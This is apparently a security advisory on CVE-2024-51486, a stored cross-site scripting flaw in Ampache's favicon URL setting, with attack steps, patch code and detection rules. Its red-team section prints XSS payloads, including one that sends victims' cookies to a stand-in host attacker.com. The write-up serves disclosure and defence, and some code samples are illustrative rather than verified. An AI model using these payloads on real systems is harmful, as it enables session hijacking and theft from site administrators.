CVE-2024-51486

Executive Summary

CVE-2024-51486 is a stored Cross-Site Scripting (XSS) vulnerability in Ampache, a web-based audio/video streaming application and file manager. The flaw resides in the "Custom URL – Favicon" field within the user interface settings. An authenticated attacker with low privileges can inject arbitrary JavaScript code into this field, which is not properly sanitized. When an administrator or other user views the affected interface, the malicious script executes in their browser context, potentially leading to session hijacking, data theft, or further compromise. The vulnerability is addressed in Ampache version 7.0.1. No public exploit code or active exploitation has been reported, but the risk is elevated due to the simplicity of the attack vector.

Supply Chain & Package Security

Ampache is a PHP-based application typically deployed via Git or manual download. There is no official NPM, PyPI, Go, or Ruby package for Ampache. The vulnerability is not related to a third-party dependency but to the core application code. Users should verify the integrity of their Ampache installation by checking file hashes against the official repository.

CVSS Breakdown & Threat Level

• CVSS Score: 5.5 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:L/I:L/A:L
• Attack Vector (AV): Network – The vulnerability can be exploited remotely.
• Attack Complexity (AC): Low – No special conditions are required.
• Privileges Required (PR): Low – An attacker needs a valid user account.
• User Interaction (UI): Required – The victim must view the malicious interface.
• Scope (S): Unchanged – The exploit affects only the vulnerable component.
• Confidentiality (C): Low – Limited data exposure possible.
• Integrity (I): Low – Limited modification of data possible.
• Availability (A): Low – Limited disruption possible.

Threat Level: Medium. The requirement for authentication and user interaction reduces the immediate risk, but the stored XSS nature allows for persistent attacks against administrators.

Deep Dive & Mechanics

The vulnerability exists in the interface section of the Ampache menu, specifically in the "Custom URL – Favicon" field. This field is intended to allow users to specify a custom URL for the favicon displayed in the browser tab. The input is stored in the database and rendered in the HTML <head> section without proper sanitization or output encoding.

When a user (e.g., an administrator) navigates to the settings page where this field is displayed, the injected JavaScript executes. The attack flow is:

1. Authentication: The attacker logs in with a valid user account.
2. Injection: The attacker navigates to the interface settings and enters a malicious payload in the "Custom URL – Favicon" field, such as javascript:alert(document.cookie) or a more complex script.
3. Storage: The payload is stored in the database.
4. Trigger: An administrator or another user views the settings page, causing the browser to render the malicious favicon URL.
5. Execution: The JavaScript executes in the victim's browser context, allowing the attacker to steal cookies, perform actions on behalf of the victim, or deface the interface.

The root cause is the lack of input validation and output encoding. The application does not sanitize the favicon URL field, nor does it escape the output when rendering it in the HTML.

Vulnerable vs. Patched Code

Vulnerable Code (Ampache < 7.0.1):

In the vulnerable version, the favicon URL is directly echoed into the HTML without sanitization. For example, in a template file:

<link rel="shortcut icon" href="<?php echo $favicon_url; ?>" />

This allows an attacker to inject a javascript: URI or an onerror event handler.

Patched Code (Ampache >= 7.0.1):

The patched version sanitizes the input using a function like filter_var with FILTER_SANITIZE_URL or FILTER_VALIDATE_URL, and escapes the output using htmlspecialchars or similar. For example:

$sanitized_url = filter_var($favicon_url, FILTER_SANITIZE_URL);
if (filter_var($sanitized_url, FILTER_VALIDATE_URL)) {
    echo '<link rel="shortcut icon" href="' . htmlspecialchars($sanitized_url, ENT_QUOTES, 'UTF-8') . '" />';
} else {
    // Handle invalid URL
}

This prevents the injection of arbitrary JavaScript.

Exploitation & Lab Setup

Red Team

Prerequisites:

• A running Ampache instance (version < 7.0.1)
• A valid user account with access to the interface settings

Exploitation Steps:

1. Login: Authenticate to the Ampache web interface.
2. Navigate: Go to the user settings or admin interface section where the "Custom URL – Favicon" field is located.
3. Inject Payload: Enter the following payload in the favicon URL field:

   javascript:alert('XSS')
   

   Or a more sophisticated payload to steal cookies:

   javascript:document.location='http://attacker.com/steal.php?cookie='+document.cookie
   

4. Save: Save the settings.
5. Trigger: Wait for an administrator to view the settings page. The JavaScript will execute.

Alternative Payload (using event handler):

" onerror="alert(1)

This can be injected if the field is used in an <img> tag context.

Blue Team

Detection:

• Monitor for unusual changes to the preferences or users tables in the database, specifically the favicon_url field.
• Look for HTTP requests to the settings page with suspicious parameters.
• Use web application firewalls (WAF) to block javascript: URIs in input fields.

Hunting:

• Search logs for requests containing javascript: or onerror= in the favicon field.
• Review database entries for non-standard favicon URLs.

Mitigation:

• Immediately upgrade to Ampache 7.0.1.
• If upgrade is not possible, implement a virtual patch using a WAF to block malicious input.
• Restrict user permissions to limit who can modify interface settings.

Indicators of Compromise (IOCs)

• Network IOCs:

  • HTTP requests to /ampache/settings.php or similar with favicon_url parameter containing javascript: or onerror.
  • Outbound connections to attacker-controlled domains from the Ampache server.

• Host IOCs:

  • Database entries in the preferences table with favicon_url containing suspicious JavaScript.
  • Unusual JavaScript files or scripts in the web root.

• File IOCs:

  • Modified template files (e.g., header.inc.php) containing injected JavaScript.

Detection Engineering

YARA Rule

rule CVE_2024_51486_Ampache_XSS {
    meta:
        description = "Detects stored XSS payload in Ampache favicon URL field"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-51486"
    strings:
        $favicon_field = "favicon_url"
        $xss_payload_1 = /javascript\s*:/
        $xss_payload_2 = /onerror\s*=/
        $xss_payload_3 = /onload\s*=/
    condition:
        $favicon_field and ($xss_payload_1 or $xss_payload_2 or $xss_payload_3)
}

Sigma Rule

title: Stored XSS in Ampache Favicon URL
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects attempts to exploit CVE-2024-51486 by injecting JavaScript into the favicon URL field.
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        c-uri|contains: "/settings.php"
        cs-method: "POST"
        cs-uri-query|contains: "favicon_url"
        cs-uri-query|re: "(javascript:|onerror=|onload=)"
    condition: selection
falsepositives:
    - Legitimate use of javascript: URIs (rare)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2024-51486 Ampache Stored XSS Attempt"; flow:to_server,established; content:"favicon_url"; http_client_body; nocase; pcre:"/(javascript:|onerror=|onload=)/i"; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Upgrade: Update Ampache to version 7.0.1 or later. This is the only official fix.
2. Virtual Patching: If upgrade is not possible, deploy a WAF rule to block requests containing javascript: or onerror= in the favicon_url parameter.
3. User Education: Inform users not to click on suspicious links or modify settings from untrusted sources.

Long-Term Measures:

• Implement input validation and output encoding for all user-supplied data.
• Conduct regular security audits and penetration testing.
• Monitor for new CVEs and apply patches promptly.

Workarounds:

• Disable the favicon customization feature by removing the relevant code from the template files (not recommended as it may break functionality).

Valters IT
Securing Digital Frontiers